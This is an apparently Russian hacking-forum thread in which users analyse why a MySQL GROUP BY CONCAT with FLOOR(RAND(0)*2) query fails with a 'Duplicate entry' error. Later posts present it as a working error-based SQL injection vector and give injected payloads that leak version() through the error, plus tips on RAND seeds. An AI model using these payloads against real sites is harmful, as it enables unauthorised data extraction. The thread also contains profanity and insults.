Хак-конструкция на MySQL

Discussion in 'Веб-уязвимости' started by artkar, 2 Dec 2016.

  1. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    351
    Likes Received:
    330
    Reputations:
    6
    А как эта конструкция работает:
    SELECT COUNT(*)
    FROM (
    SELECT 1 UNION SELECT 2 UNION SELECT 3
    )x
    GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))

    типо как происходит план запроса ?
    В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....
     
  2. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    351
    Likes Received:
    330
    Reputations:
    6
    Ну чё притухли школота? Ктожи объяснит дяде арткару как работает этот запрос?
    Что никто не знает?
     
  3. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,563
    Reputations:
    40
    Скажу тебе как школьник, забей ты , что это уйня, что то хуйня, лучше по утро дрочнуть
     
    DartPhoenix likes this.
  4. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    ну ахуеть, назвал всех школьниками и просишь объяснить
    что там у тебя в group by игнорируется? подзапросы в нем работают
    Code:
    select 1 from(select 1)x group by (select 1);
    
    ну и ничего мистического не вижу что в твоем примере отрабатывает concat, а почему селектит версию базы а не COUNT(*)? так наверно потому что запрос падает с ошибкой и это внезапно называется error-based вектор
    удивительно какие запросы может переваривать мускул

    Code:
    select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x;
    +------+--------------------------------+-----+
    | @x   | {$from(select(@x:=version()))} | 0.3 |
    +------+--------------------------------+-----+
    |    1 | 5.6.31                         | 0.3 |
    +------+--------------------------------+-----+
    
    если ты такой дядька, то может знаешь сишку, откроешь сорцы парсера да расскажешь нам сам?
     
    _________________________
    artkar likes this.
  5. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно

    Code:
    select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2);
    +----------+
    | count(*) |
    +----------+
    |        1 |
    |        1 |
    |        1 |
    +----------+
    3 rows in set (0.00 sec)
    
    
    видимо натыкается на использование одной и той же колонки, судя по ошибке, правда не понятно почему он не падает в примере выше, а только при использовании floor

    Code:
    select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2));
    ERROR 1062 (23000): Duplicate entry 'qqq:1' for key 'group_key'
    
    что то явно хотели оптимизировать при вычислении запроса и х*й угадали походу
     
    _________________________
    artkar likes this.
  6. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union

    Code:
    select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2);
    +----------+
    | count(*) |
    +----------+
    |        1 |
    |        1 |
    |        1 |
    +----------+
    3 rows in set (0.00 sec)
    
    ну и число похоже должно быть не целочисленное

    Code:
    select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1);
    +----------+
    | count(*) |
    +----------+
    |        2 |
    |        1 |
    +----------+
    2 rows in set (0.00 sec)
    
    select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(0)*2) + 1);
    
    ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
    
    
    
    select (md5(rand(1)*2) + 1);
    +----------------------+
    | (md5(rand(1)*2) + 1) |
    +----------------------+
    |                    4 |
    +----------------------+
    1 row in set (0.00 sec)
    
    select (md5(rand(0)*2) + 1);
    +------------------------+
    | (md5(rand(0)*2) + 1)   |
    +------------------------+
    | 1.7976931348623157e308 |
    +------------------------+
    1 row in set (0.00 sec)
    
    думаю никто не расстроится если я тут пофлужу

    ------------------------------

    Code:
    select md5(rand(0)*2);
    +----------------------------------+
    | md5(rand(0)*2)                   |
    +----------------------------------+
    | 810e2137cdf4bde97083b021c6b34a09 |
    +----------------------------------+
    
    0e кастование типов, ноги float растут отсюда, не забыть найти линк

    ----------------------------------------------

    Code:
    > select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1));
    ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'
    
    > select (md5(rand(19)*2) + 1);
    +-----------------------+
    | (md5(rand(19)*2) + 1) |
    +-----------------------+
    |             977882091 |
    +-----------------------+
    1 row in set (0.00 sec)
    
    мде
    -------------------------------------------------
    Code:
    > select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999));
    ERROR 1062 (23000): Duplicate entry '5.6.31:999' for key 'group_key'
    
    5.6.31:1 .... 5.6.31:999

    куда девается (md5(rand(19)*2)
     
    _________________________
    #6 t0ma5, 5 Dec 2016
    Last edited: 5 Dec 2016
    artkar likes this.
  7. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    стопудово это с rand накосячили, пофазил другие функции, такого поведения нет
    рабочий вектор 'Duplicate entry' для error-based


    > select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));
    ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

    > select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));
    ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

    если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))

    нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить
    -------------
    ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло
     
    _________________________
    #7 t0ma5, 5 Dec 2016
    Last edited: 5 Dec 2016
    artkar likes this.
  8. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    351
    Likes Received:
    330
    Reputations:
    6
    А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...
     
Loading...